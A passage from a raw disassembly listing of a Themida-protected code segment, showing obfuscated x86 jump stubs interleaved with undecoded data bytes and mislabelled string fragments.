; ---------------------------------------------------------------------------

loc_5046DD:				; CODE XREF: Themida_:0050895Cj
		xor	ebx, 0D2A1B9E5h
		add	edx, ebx
		pop	ebx
		jmp	loc_50B1C6
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 241CD359h, 661DE99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5046FA:				; CODE XREF: Themida_:0050BF4Fj
		xchg	edx, ebp
		jmp	loc_50EB01
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 1DB65580h, 8324048Bh, 0BD5504C4h, 6EE936ACh,	0CD81DDF7h
		dd 6AC291Fh, 14BD5557h,	0BF02395Bh, 7D915C75h, 815DEF31h
		dd 608C7EC7h, 3CBE56FAh, 294B4751h, 844BE9F5h, 0E9530000h
		dd 2A8h
; ---------------------------------------------------------------------------

loc_504744:				; CODE XREF: Themida_:0050913Aj
		or	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0DEFF6FDBh
		xor	ebp, eax
		jmp	loc_50BE94
; ---------------------------------------------------------------------------

loc_50475C:				; CODE XREF: Themida_:00503A31j
		shl	ecx, 5
		push	esi
		mov	esi, 0A0ACBBC4h
		add	ecx, esi
		jmp	loc_50DB96
; ---------------------------------------------------------------------------
		dd 4E4EDEF7h, 7A57CE81h, 0F6811A50h, 20885A9Ch,	295EF029h
		dd 20C305E8h, 34FF7BF0h, 0C4835D24h, 0B60F6604h, 45686600h
		dd 4896649h, 0E3D0E924h, 27BDFFFFh, 57643E5Eh, 3B2C8BBFh
		dd 7EFC14Bh, 4E08E9h, 48EF6800h, 4890000h, 0E3B0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5047BE:				; CODE XREF: Themida_:005054E3j
		or	eax, eax
		jz	loc_50EBA1
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		jmp	loc_5033E4
; ---------------------------------------------------------------------------
		dw 4EBBh
		dd 0E9367F54h, 995Eh, 51242C89h, 0D16F88B9h, 81D0E91Ch
		dd 0EC830000h, 58545004h, 6F9ABD55h, 0E94566ACh, 203Ch
		dd 0B613402Dh, 31EF2521h, 560529F0h, 1F64FDFh, 0C38158C3h
		dd 4, 2474FF53h, 241C8B04h, 4C481h, 9BE90000h, 81000005h
		dd 3260BC7h, 70EF8175h,	5B17203Ah, 0FFEDFDE9h, 1C781FFh
		dd 0C1000000h, 0EF8102EFh, 0CB224281h, 815FFB31h, 89C2EEC3h
		dd 35E1E9F8h, 0D9010000h, 0FEBB535Bh, 81477210h, 8AD6EAEBh
		dd 9961E914h, 0ED810000h, 43EF7CF0h, 8101ED83h,	8C3F26E5h
		dd 11C58141h, 8115D862h, 5F6840EEh, 0CC6810Ah, 143ED45h
		dd 0CEE81EEh, 5343ED45h, 5F6840BBh, 0E9DE010Ah,	3F1Dh
		dd 0E906E1C1h, 6DEBh, 2B51E181h, 2EE97088h, 4F000089h
		dd 0FFFB6AE9h, 75E95DFFh, 0FE000065h, 4E0C0C8h,	1324ED24h
		dd 0C7E9D8F6h, 0C100009Ah, 0E2C106EAh, 56D2F708h, 0CF6FDCBEh
		dd 0E9F229D2h, 5806h, 0C3E9CB09h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5048FF:				; CODE XREF: Themida_:0050F1DFj
		push	eax
		push	ebp
		jmp	loc_503E22
; ---------------------------------------------------------------------------

loc_504906:				; CODE XREF: Themida_:00507B7Fj
		add	ecx, 4
		jmp	loc_50CB05
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 79451307h, 3F4DE9h, 4896600h, 0E24CE924h, 0E789FFFFh
		dd 4C781h, 0D4E90000h, 5D000036h, 840FC90Bh, 7A0Ch, 2434FF54h
		dd 0B75E9h
		db 0
; ---------------------------------------------------------------------------

loc_504941:				; CODE XREF: Themida_:00505C63j
		jmp	loc_502B6E
; ---------------------------------------------------------------------------
		dw 0D721h
		dd 5A2434FFh, 5FF6E9h, 24148B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	edx, 45BA4ABBh
		push	2B8Eh
		mov	[esp], esi
		jmp	loc_503DD6
; ---------------------------------------------------------------------------
		db 66h
		dd 59E8005Bh, 0D828942Ch, 51669404h, 202C65B5h,	0A07FE9h
		db 0
; ---------------------------------------------------------------------------

loc_50498D:				; CODE XREF: Themida_:00507EC1j
		mov	[esp], eax
		mov	eax, 1FEA6535h
		and	eax, 771E1B1Ch
		xor	eax, 5E9318BDh
		jmp	loc_507903
; ---------------------------------------------------------------------------

loc_5049A4:				; CODE XREF: Themida_:00503261j
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_505FD6
; ---------------------------------------------------------------------------
		db 5Ch,	87h, 14h
		dd 8B665C24h, 0D0682404h, 0E9000047h, 0A1F1h, 875BD801h
		dd 0E95C2404h, 3330h
; ---------------------------------------------------------------------------

loc_5049DC:				; CODE XREF: Themida_:0050669Aj
		add	esp, 4
		add	esp, 4
		push	ebp
		push	edx
		jmp	loc_5092A9
; ---------------------------------------------------------------------------
		dd 0DC1615BBh, 3E3C17Dh, 7DA0E9h, 24348900h, 24348B54h
		dd 7FFFE9h, 243C8B00h, 3528E9h,	0C7E95300h, 0F700006Eh
		dd 96F581D5h, 89BAC1A0h, 0A2E95DEEh
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_504A23:				; CODE XREF: Themida_:0050DA72j
		pop	ebx
		xor	eax, ebp
		jmp	loc_50C57B
; ---------------------------------------------------------------------------
		db 89h
		dd 0C0E9241Ch
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_504A33:				; CODE XREF: Themida_:0050E5E0j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_50BA2C
; ---------------------------------------------------------------------------
aBUGsX		db 'Æ,ž{£é)X',0
		dd 4C48100h, 8F000000h,	0EFE92404h, 66000041h, 662782BBh
		dd 6606E3C1h, 7835C381h, 15EB8166h, 0DA0166F4h,	0C281665Bh
		dd 3166DB31h, 81665AD0h, 663127C3h, 5666C329h, 0FFEC75E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_504A91:				; CODE XREF: Themida_:00505BA4j
		sub	ebp, esi
		pop	esi
		xor	ebp, 0ECBD485Dh
		mov	edi, ebp
		jmp	loc_50C709
; ---------------------------------------------------------------------------
		db 31h,	0E9h, 8Bh
		dd 18E9242Ch
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_504AAB:				; CODE XREF: Themida_:0050CF9Bj
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_506904
; ---------------------------------------------------------------------------
aZRu9S		db '‡ÖRU½9&Ú',0Ah
		db 'é¹#',0
		db 0
; ---------------------------------------------------------------------------

loc_504AC5:				; CODE XREF: Themida_:00504038j
		add	dword ptr [esp], 495046DEh
		pop	ebx
		sub	ebx, 495046DEh
		jmp	loc_5063B4
; ---------------------------------------------------------------------------

loc_504AD8:				; CODE XREF: Themida_:0050ED54j
		xor	ecx, 5534204h
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		div	ecx
		push	7DEEh
		mov	[esp], edx
		jmp	loc_50CC67
; ---------------------------------------------------------------------------
		dd 28C0EE80h, 48E95AF4h, 56FFFFF7h, 6218E9h
		db 0
; ---------------------------------------------------------------------------

loc_504B11:				; CODE XREF: Themida_:005040EEj
		mov	[esp], edx
		jmp	loc_50D499
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0F8h
		dd 11E1D3Bh, 54E95AD0h,	66FFFFF8h, 6824048Bh, 6D14h, 89240489h
		dd 770EE9E0h, 0E9590000h, 0FFFFE868h, 0D9C1815Bh, 5731A654h
		dd 0F20C5CBFh, 5FF92902h, 72E9CB01h, 540000A7h,	0E92434FFh
		dd 0FFFFF97Ah, 0E938F580h, 8926h, 48BC121h, 4C48324h, 2652BB53h
		dd 0D93150A0h, 0E9C8015Bh, 0FFFFE7E6h
; ---------------------------------------------------------------------------

loc_504B80:				; CODE XREF: Themida_:0050DE52j
		mov	[esp], ebp
		push	2000000h
		mov	ebp, [esp]
		push	eax
		jmp	loc_50C34A
; ---------------------------------------------------------------------------

loc_504B91:				; CODE XREF: Themida_:0050BFE7j
		cmp	ecx, eax
		pushf
		jmp	loc_502B6E
; ---------------------------------------------------------------------------

loc_504B99:				; CODE XREF: Themida_:00505BEDj
		pop	edx
		jmp	loc_50994D
; ---------------------------------------------------------------------------
		db 0B7h
		dd 51CFFE0Bh, 5E08950h,	4, 22Dh, 5CD0E900h, 0B9510000h
		dd 598E6865h, 4741C181h, 0D1F72BEAh, 5055E981h,	0CE017A87h
		dd 4F3EE9h, 2CC38100h, 0E9989382h, 2ACCh
; ---------------------------------------------------------------------------

loc_504BDC:				; CODE XREF: Themida_:0050A1F9j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	esi
		mov	esi, 5308634Ah
		xor	esi, 17581E64h
		or	esi, 4D9F6D77h
		sub	esi, 186F37E5h
		not	esi
		add	esi, 0A6C43FFh
		jmp	loc_50E772
; ---------------------------------------------------------------------------
		dd 6E9D2F7h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_504C13:				; CODE XREF: Themida_:0050874Bj
		sub	eax, 66252F2Dh
		sub	eax, 6E39314Ch
		add	eax, edi
		push	edx
		jmp	loc_507E19
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 8B243C33h, 0F662424h, 9C2404A3h, 73BEE9h, 37BE5600h
		dd 813D4652h, 0B01609EEh, 4514E92Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_504C4A:				; CODE XREF: Themida_:005096EDj
		or	ch, 55h
		jmp	loc_506DC9
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 0C99E9h, 0E9515200h,	4638h, 2C5BD828h, 4D8000Fh, 94AAE90Fh
		dd 0F2810000h, 5EB4B790h, 148BD789h, 4C48324h, 815FFD89h
		dd 0F94411F5h, 0E9EF3177h, 558Eh, 243C8B5Fh, 6F11E9h, 8BE68800h
		dd 0C4812404h, 4, 1C8B6659h, 3409E924h,	0A0680000h, 8900000Eh
		dd 24BA2414h, 0E9000000h, 5CA3h, 0E932FF64h, 0FFFFDEAAh
		dd 815DEE29h, 555B9CE6h, 1963E95Eh, 8B660000h, 0EC832404h
		dd 240C8904h, 0DB68E189h, 0E9000044h, 3F54h, 2414F755h
		dd 81D5F75Dh, 73E5A7C5h, 8BE82921h, 5453242Ch, 32DCE9h
		dd 0DFEF8100h, 0FD1B355Bh, 66C368h, 24348900h, 0E9E18951h
		dd 15F2h, 0C62C7604h, 2058C730h, 7C0FE9F9h, 0E9050000h
		dd 0E9496340h, 9F08h
; ---------------------------------------------------------------------------

loc_504D30:				; CODE XREF: Themida_:0050C265j
		sub	eax, ecx
		pop	ecx
		push	17FBh
		mov	[esp], ebp
		jmp	loc_50DC38
; ---------------------------------------------------------------------------
		dd 415E30BFh, 0BD554769h, 1D26085Ah, 4508EDC1h,	0CD81DDF7h
		dd 52163508h, 5DED8145h, 1B567A1h, 0EF815DEFh, 8C2F750Fh
		dd 420EED81h, 0FD293EF8h, 4BB4E9h
		db 0
; ---------------------------------------------------------------------------

loc_504D75:				; CODE XREF: Themida_:0050ACD1j
		mov	edi, 5B683312h
		sub	edi, 18DB1006h
		shl	edi, 8
		shr	edi, 6
		sub	edi, 7B3477F8h
		or	edi, 128A4E08h
		xor	edi, 978A5E3Ch
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		push	edi
		pop	eax
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_50A271
; ---------------------------------------------------------------------------
		db 53h
		dd 0DD89FB89h, 243C8B5Bh, 0F704C483h, 8AB5E9DDh, 48F0000h
		dd 72F4E924h, 24890000h, 18EEE924h, 0BD550000h,	7A1171C6h
		dd 15DEA31h, 0E9815AD1h, 4, 2474FF51h, 48F5904h, 24248B24h
		dd 0BA241489h, 4, 0E0E9D501h, 5E00009Fh, 8702C583h, 248B242Ch
		dd 24040024h, 0DD48E99Ch, 0E3C1FFFFh, 8E3C107h,	0F3814343h
		dd 26189D4Bh, 5F5BD829h, 3B4068h, 24048900h, 42474FFh
		dd 39EBE9h
		db 0
; ---------------------------------------------------------------------------

loc_504E49:				; CODE XREF: Themida_:0050E3A5j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	2C40h
		mov	[esp], ecx
		jmp	loc_50E34F
; ---------------------------------------------------------------------------
		db 58h,	1, 0DDh
dword_504E60	dd 684FC581h, 1C8B05D0h, 4C48124h, 50000000h, 70FBE9h
		dd 4BF00h, 0FA010000h, 10BD555Fh, 812E8726h, 4ECh, 2A96E900h
		dd 1C8B0000h, 0DD3BE924h, 0F181FFFFh, 4CF45ED9h, 0FFFA1BE9h
		dd 0E3C143FFh, 0CFF5303h, 0E99EE924h, 0A435FFFFh, 0E9113C21h
		dd 0FFFFE01Eh, 0BD242C89h, 486D1174h, 15DE801h,	150768D8h
		dd 14890000h, 0C8685024h, 580DE619h, 7862E9h, 76EBE00h
		dd 0F1313CC2h, 81D1F75Eh, 1C1h,	24F18100h, 834820D2h, 3C8904ECh
		dd 4F24BF24h, 0F7812F2Eh, 3ACA3200h, 0DEE9554Fh, 100000Dh
		dd 492C2DE8h, 0B4E95830h, 81000013h, 6647F7h, 0E9F8291Ch
		dd 30ACh, 815AD701h, 0D33A47EBh, 81FB0175h, 0D33A47C3h
		dd 2BA4E975h, 0BF570000h, 127E433Dh, 10D9EF81h,	0B7E951D6h
		dd 8B000083h, 34332424h, 24343124h, 8B243433h, 90E92424h
		dd 83000002h, 2C8904ECh, 0AE8E924h, 4BB0000h, 1000000h
		dd 241C8BDDh, 5204C483h, 4BAh, 774EE900h, 0EC810000h, 4
		dd 89240C89h, 4C181E1h,	0E9000000h, 70D8h, 0E904C383h
		dd 310h, 83241C8Bh, 0C80004C4h,	7EA26859h, 4890000h, 4EC8324h
		dd 0E9240C89h, 14C6h, 62F3814Bh, 297F4A0Eh, 65055BD8h
		dd 121435Bh, 0F223E9D0h, 0CF81FFFFh, 29781E21h,	0CD7EEF81h
		dd 0F9011765h, 59CD015Fh, 9A50E9h, 14875800h, 0E1F75C24h
		dd 8904EC83h, 4368241Ch, 8900007Eh, 0BF572424h,	4, 4247C01h
		dd 7CFE9h
		db 0
; ---------------------------------------------------------------------------

loc_505009:				; CODE XREF: Themida_:0050D6DFj
		pop	eax
		pop	esi
		shr	ebx, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6C390A2Dh
		and	ebx, ecx
		pop	ecx
		add	ebx, 0D090895h
		push	eax
		mov	eax, 1BA337E2h
		not	eax
		add	eax, 480B8CF1h
		add	ebx, eax
		pop	eax
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_50928A
; ---------------------------------------------------------------------------
		dw 425Ah
		dd 0FFFA66E9h, 240487FFh, 487D0F7h, 67C7E924h, 875A0000h
		dd 0E95C241Ch, 0FFFFF3ABh, 24048F5Dh, 8924248Bh, 0DC882404h
		dd 58386788h, 5B2434FFh, 4C481h, 0E7E90000h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_505087:				; CODE XREF: Themida_:00509417j
		shl	bl, 5
		push	edi
		jmp	loc_5037D4
; ---------------------------------------------------------------------------

loc_505090:				; CODE XREF: Themida_:0050D96Dj
		sub	ebp, 0E17F1804h
		jmp	loc_507E07
; ---------------------------------------------------------------------------
		db 42h
		dd 0EE9D2F7h, 5BFFFFE6h, 4247429h, 3668E95Eh, 0D9BE0000h
		dd 0C117EB6Ch, 0EEC105EEh, 4CC68107h, 29FFFE81h, 42E95EF7h
		dd 5900009Ch, 5C241C87h, 4B30F66h, 97E99C24h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5050D7:				; CODE XREF: Themida_:005073C3j
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_50974C
; ---------------------------------------------------------------------------
		db 29h,	74h, 24h
		dd 246C8108h, 0E2630908h, 1C8B5E3Fh, 4C48324h, 81008Fh
		dd 3C87054Ah, 0FFDA69E9h, 4C483FFh, 0FEA9E580h,	0F5CD80C5h
		dd 755368h, 241C8900h, 0EB8013B3h, 8BDD306Ah, 23E9241Ch
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_505127:				; CODE XREF: Themida_:0050D471j
		xor	esi, 0B021A31h
		add	esi, 0E7B680D3h
		add	edi, esi
		pop	esi
		push	33BBh
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_503EF3
		sub	esp, 4
		jmp	loc_50E805
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 2E6C107h, 0E096F681h, 0F2293FBDh, 1EF2815Eh,	81D5A5BDh
		dd 0EE7D03C1h, 5F2DE961h, 0F65C0000h, 0B60F66F1h, 0BF6866CCh
		dd 0C89667Eh, 0B60F6624h, 9C5166C8h, 0FFD9D9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_505195:				; CODE XREF: Themida_:0050C8CCj
		add	esi, 4
		jmp	loc_508D34
; ---------------------------------------------------------------------------

loc_5051A0:				; CODE XREF: Themida_:00507E60j
		push	edi
		jmp	loc_508FD5
; ---------------------------------------------------------------------------
		dw 0D9F7h
aBB31SX		db 'Á¶B3*1ÏéÔx',0
		dd 0C6815E00h, 4, 8704EE83h, 895C2434h,	4BD242Ch, 1000000h
		dd 5834E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5051D2:				; CODE XREF: Themida_:0050813Fj
		push	ebx
		mov	ebx, 430758EAh
		jmp	loc_50AE22
; ---------------------------------------------------------------------------

loc_5051DD:				; CODE XREF: Themida_:0050C2A2j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_506F49
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 5316h, 368CD835h, 50EDE986h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5051FE:				; CODE XREF: Themida_:00507094j
		add	ecx, 4
		jmp	loc_50815C
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 2434335Ch, 33243431h, 248B2434h, 24048924h, 0E92414F7h
		dd 0FFFFE921h
; ---------------------------------------------------------------------------

loc_505224:				; CODE XREF: Themida_:0050F1EDj
		add	esp, 4
		jmp	loc_50D1E6
; ---------------------------------------------------------------------------

loc_50522C:				; CODE XREF: Themida_:005031C0j
		push	ebp
		push	25A4h
		jmp	loc_505D39
; ---------------------------------------------------------------------------
		db 1
aBVsiz		db 'ÎÆ>}(V鉇',0
		align 4
		dd 0BB241C89h, 37E43144h, 4EC81h, 3C890000h, 64ADBF24h
		dd 0EF8153A8h, 6E6C116Eh, 3E79E9h
		db 0
; ---------------------------------------------------------------------------

loc_505265:				; CODE XREF: Themida_:00505D3Cj
		mov	esi, 73416AAFh
		push	ecx
		jmp	loc_509616
; ---------------------------------------------------------------------------

loc_505270:				; CODE XREF: Themida_:005056F7j
		push	esp
		jmp	loc_507443
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 18200482h, 564BE9h, 2434FF00h, 83240C8Bh, 2C8904ECh
		dd 51E58924h, 468h, 8033E900h, 81590000h, 4C1h,	4C18100h
		dd 0E9000000h, 3795h, 5C241C87h, 2474FF51h, 48F5904h, 21665C24h
		dd 0E99C2404h, 0FFFFD8AAh, 7D94CB81h, 0E3817C7Eh, 5B992EDCh
		dd 8104E3C1h, 8A727FCBh, 98C38160h, 51265C3Fh, 0F10712B9h
		dd 0BD5557BAh, 5CA01142h, 7174CD81h, 0EDC13E1Ch, 80BA5208h
		dd 81556C2Dh, 0D428B2E2h, 0F2814A11h, 1541192Eh, 90F28142h
		dd 0E95E4716h, 747h, 2DF00159h,	67C1493h, 8324348Bh, 3BE904C4h
		dd 8100006Bh, 4F35F4EBh, 8CE38160h, 8145352Eh, 614F7CF3h
		dd 5BDE0941h, 9242C681h, 0F0297CC5h, 242C8B5Eh,	4C481h
		dd 0C6010000h, 78F6E9h,	0BEB65200h, 0FE39E680h,	4E6C0CEh
		dd 0EEC0CEFEh, 991BE902h, 0D9010000h, 240C875Bh, 0FE24248Bh
		dd 0E99C240Ch, 0F89h, 60E9575Ah
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_505383:				; CODE XREF: Themida_:00505D66j
		neg	esi
		push	ebx
		mov	ebx, 1735931Bh
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, esi
		pop	esi
		push	ecx
		jmp	loc_5098E3
; ---------------------------------------------------------------------------
		dd 9A6700B9h, 38F18164h, 0D133DB7Eh, 412CE9E1h,	0E9010000h
		dd 240C875Dh, 401665Ch,	0AFE99C24h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5053BF:				; CODE XREF: Themida_:00503BAAj
		mov	[esp], ebx
		mov	ebx, 0
		jmp	loc_502CCB
; ---------------------------------------------------------------------------
		dd 592434FFh, 96D0E957h, 0BDBF0000h, 0BD4A436Ch, 4A436CB9h
		dd 2D5FFD31h, 1EAA4A3Ah, 7B79E9h, 40500h, 42D0000h, 87000000h
		dd 1EE92404h, 0BBFFFFF0h, 609C0711h, 535BD921h,	6F2115BBh
		dd 0E9D901C7h, 5E2Bh, 4EC81h, 25E90000h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50541F:				; CODE XREF: Themida_:005062EEj
		sub	dword ptr [esp+8], 5E2039D4h
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		pop	eax
		push	ecx
		jmp	loc_50D0AA
; ---------------------------------------------------------------------------
		dd 5C242C87h, 5E12BD55h, 0E5C10F13h
		db 4, 81h
word_505446	dw 4ECh			; DATA XREF: ___:off_4274D8o
		dd 0E9000000h, 4747h
; ---------------------------------------------------------------------------

loc_505450:				; CODE XREF: Themida_:00508D08j
		mov	ebx, 4
		jmp	loc_505E70
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8E68240Ch, 89000040h, 5E542434h, 4EC81h, 4890000h, 0D5FB824h
		dd 0D7054F2Dh, 0C1125464h, 0FAE906E8h, 0FF00006Dh, 48B2434h
		dd 4C48124h, 51000000h,	0C181E189h, 4, 0E904E983h, 3BF4h
; ---------------------------------------------------------------------------

loc_5054A0:				; CODE XREF: Themida_:005057D3j
		mov	[esp], ebx
		jmp	loc_50F251
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 2C8904ECh, 538BE924h, 348B0000h, 4C48124h
		dd 55000000h, 0E3968h, 2C81E900h, 0EB810000h, 714444DCh
		dd 1BF1EB81h, 8AE9108Bh, 100004Eh, 0A2CE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5054E2:				; CODE XREF: Themida_:00505CA2j
		pop	ebx
		jmp	loc_5047BE
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 0E904C183h, 613Dh, 582434FFh,	4B0168h
		dd 527CE900h, 34FF0000h, 7B68E924h, 68590000h, 11F2h, 87A3E9h
		dd 4C18100h, 53000000h,	5B0158BBh, 0A3EB8157h, 817EB267h
		dd 9D7872E3h, 0C4C38127h, 8156625Dh, 0CA6EF9E3h, 14C3811Ah
		dd 1ED359Bh, 543DE9D9h,	0BF2D0000h, 5F26FC55h, 0E62AD82Dh
		dd 2699E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50555A:				; CODE XREF: Themida_:0050700Aj
		push	edi
		push	3C2E67DAh
		pop	edi
		sub	edi, 6EA3C83h
		or	edi, 1AF9451Fh
		sub	edi, 16280BDFh
		xor	edi, 4E3C7381h
		jmp	loc_5092D2
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFD8B2h, 0FEFBF681h, 0C3E9FF1Fh, 29FFFFF6h, 5E95AD7h
		dd 83000034h, 0BB5304C4h, 0D3E5FB3h, 3C07F381h,	296843F2h
		dd 8900000Eh, 3C87241Ch, 14F75724h, 1BE95F24h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5055BB:				; CODE XREF: Themida_:0050DCB7j
		mov	ecx, esp
		jmp	loc_509A2B
; ---------------------------------------------------------------------------
aYbiGXwsS	db 'Yë[GÄXWéØS',0
		dw 8900h
		dd 0A8BA2414h, 0E91D1278h, 0FFFFEDD4h, 0C0DC381h, 0EFE9F836h
		dd 57000092h, 0C781E789h, 4, 8089E9h, 0EB815900h, 7B742A5Eh
		dd 4D07E956h, 0EB810000h, 0F2ED489Ch, 31E9D909h, 31FFFFF5h
		dd 0BA5259CFh, 2825ECFh, 0FFF329E9h, 4EC81FFh, 89000000h
		dd 0E389241Ch, 527DE9h,	8F685800h, 8900002Eh, 47E92404h
		dd 8F000057h, 248B2404h, 0C8AF0F24h, 23E99C51h,	57FFFFD5h
		dd 0F006F7BFh, 247C297Eh, 8E95F08h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50565B:				; CODE XREF: Themida_:0050B46Ej
		mov	ebp, 0D477EBDh
		sub	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ecx, ebx
		add	ecx, 0D477EBDh
		pop	ebx
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_502CB5
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 553F5241h, 0F6C2F181h, 0CF317DFBh, 4CB5E959h, 8B660000h
		dd 0EC812404h, 4, 53242C89h, 79BAE9h
		db 0
; ---------------------------------------------------------------------------

loc_5056A9:				; CODE XREF: Themida_:005089C3j
		sub	eax, ebp
		pop	ebp
		sub	edx, 54B4706Fh
		sub	edx, eax
		push	ecx
		mov	ecx, 6A41085Ah
		dec	ecx
		neg	ecx
		shl	ecx, 4
		add	ecx, 72E02CFh
		inc	ecx
		add	ecx, 0F196F32Fh
		add	edx, ecx
		jmp	loc_50BB3C
; ---------------------------------------------------------------------------
aRZvOiZbu	db 'RºzVµo‰ÓZãº',0
		db 0CDh, 56h, 0E9h
		dd 921Ch, 2C89665Ch, 0BAE95124h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5056F3:				; CODE XREF: Themida_:0050E7C9j
		mov	esp, [esp]
		push	ecx
		jmp	loc_505270
; ---------------------------------------------------------------------------
		dd 4E0C140h, 0C106852h,	815A3FF0h, 0B6357FC2h, 57C28100h
		dd 817A9116h, 0BD5933E2h, 0E2D1422Eh, 23A0EA81h, 0D021473Dh
		dd 741AE9h
		db 0
; ---------------------------------------------------------------------------

loc_505729:				; CODE XREF: Themida_:0050A3A2j
		mov	bh, 0FBh
		mov	dh, bh
		pop	ebx
		jmp	loc_5067B8
; ---------------------------------------------------------------------------

loc_505733:				; CODE XREF: Themida_:00508DB0j
		or	eax, 375A4382h
		push	ebx
		jmp	loc_508BAD
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 2ADB634Dh, 4244C31h,	240C8B59h, 6804C483h, 6532h, 50243C89h
		dd 0F6106CB8h, 58C7890Ch, 0C1E95653h, 8100008Ah, 1A204Fh
		dd 478124FBh, 0FFFFFF20h, 2047FFFFh, 46B468h, 5EE6E900h
		dd 34890000h, 1001BE24h, 0C68144FBh, 0FFFFFFFFh, 7C51EE81h
		dd 4B686643h, 8900000Dh, 0BD242Ch, 0E9000000h, 76B6h, 0FFD3C1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5057AD:				; CODE XREF: Themida_:0050D05Ej
		mov	[esp], ebx
		mov	ebx, 14345A15h
		jmp	loc_507C31
; ---------------------------------------------------------------------------
a_Ys_i		db '_)ÈYé_i',0
		dw 2900h
		dd 39E95FFDh
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5057CB:				; CODE XREF: Themida_:00507F09j
		pop	edx
		add	bl, al
		push	ecx
		push	eax
		sub	esp, 4
		jmp	loc_5054A0
; ---------------------------------------------------------------------------
a_Sr_		db '_[é.',0
		db 0
; ---------------------------------------------------------------------------

loc_5057DF:				; CODE XREF: Themida_:00505965j
		push	esi
		mov	esi, 5C8C3500h
		sub	esi, 6E60538Dh
		neg	esi
		jmp	loc_50D738
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 7BC15E39h, 14FCEF81h, 0EF81510Fh, 65DC2325h,	8105E7C1h
		dd 2D9F6FF7h, 5FFA0149h, 5105EAC1h, 2AF9E9h, 8C38100h
		dd 811D2E77h, 0AE7E73EBh, 81F3293Ch, 0AE7E73C3h, 0A57E93Ch
		dd 55580000h, 5D2414F7h, 0EA6EC581h, 0EC83D0B9h, 243C8904h
		dd 89E98951h, 0FA8959CFh, 2434FF5Fh, 4C4815Dh, 0E9000000h
		dd 3CB2h
; ---------------------------------------------------------------------------

loc_50585C:				; CODE XREF: Themida_:00507E14j
		push	7B2637A8h
		jmp	loc_504236
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 633A6088h, 242C8152h, 734D5137h, 37C7815Fh, 5A734D51h
